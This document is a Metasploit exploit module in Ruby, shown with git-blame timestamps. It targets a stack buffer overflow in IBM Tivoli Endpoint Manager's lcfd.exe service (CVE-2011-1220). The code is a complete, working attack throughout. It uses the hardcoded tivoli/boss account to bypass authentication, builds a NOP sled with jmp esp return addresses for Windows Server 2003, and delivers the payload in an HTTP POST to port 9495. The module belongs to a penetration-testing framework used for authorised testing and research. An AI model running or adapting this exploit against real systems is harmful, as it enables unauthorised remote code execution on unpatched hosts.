2011-06-11 23:48:18 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2011-06-11 23:48:18 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = GoodRanking
|
2011-06-11 23:48:18 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2011-06-11 23:48:18 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'IBM Tivoli Endpoint Manager POST Query Buffer Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a stack based buffer overflow in the way IBM Tivoli
|
|
|
|
Endpoint Manager versions 3.7.1, 4.1, 4.1.1, 4.3.1 handles long POST query
|
|
|
|
arguments.
|
2011-06-11 23:48:18 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
This issue can be triggered by sending a specially crafted HTTP POST request to
|
|
|
|
the service (lcfd.exe) listening on TCP port 9495. To trigger this issue authorization
|
|
|
|
is required. This exploit makes use of a second vulnerability, a hardcoded account
|
|
|
|
(tivoli/boss) is used to bypass the authorization restriction.
|
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'bannedit', # metasploit module
|
|
|
|
'Jeremy Brown <0xjbrown[at]gmail.com>', # original public exploit
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2011-1220'],
|
|
|
|
[ 'OSVDB', '72713'], # buffer overflow
|
|
|
|
[ 'OSVDB', '72751'], # hardcoded account
|
|
|
|
[ 'BID', '48049'],
|
2013-10-21 20:07:07 +00:00
|
|
|
[ 'ZDI', '11-169' ],
|
2013-08-30 21:28:54 +00:00
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
},
|
|
|
|
'Privileged' => true,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 400,
|
|
|
|
'BadChars' => "\x00\x0d\x0a",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
['Windows Server 2003 SP0', { 'Ret' => 0x77d80787 }], # user32.dll - jmp esp
|
|
|
|
['Windows Server 2003 SP1', { 'Ret' => 0x77403680 }], # user32.dll - jmp esp
|
|
|
|
['Windows Server 2003 SP2', { 'Ret' => 0x77402680 }], # user32.dll - jmp esp
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'May 31 2011'))
|
2011-06-11 23:48:18 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(9495),
|
|
|
|
], self.class )
|
|
|
|
end
|
2011-06-11 23:48:18 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def exploit
|
|
|
|
print_status("Trying target #{target.name}...")
|
2011-06-11 23:48:18 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
auth = Rex::Text.encode_base64("tivoli:boss")
|
|
|
|
varname = rand_text_alpha(rand(10))
|
2011-06-11 23:48:18 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
sploit = make_nops(1) * 256
|
|
|
|
sploit << [target.ret].pack('V')
|
|
|
|
sploit << payload.encoded
|
2011-11-06 22:02:26 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => '/addr',
|
|
|
|
'method' => 'POST',
|
|
|
|
'headers' =>
|
|
|
|
{
|
|
|
|
'Authorization' => "Basic #{auth}"
|
|
|
|
},
|
|
|
|
'vars_post' =>
|
|
|
|
{
|
|
|
|
varname => sploit,
|
|
|
|
},
|
|
|
|
}, 5)
|
2011-06-11 23:48:18 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
handler
|
|
|
|
end
|
2011-10-17 03:49:49 +00:00
|
|
|
end
|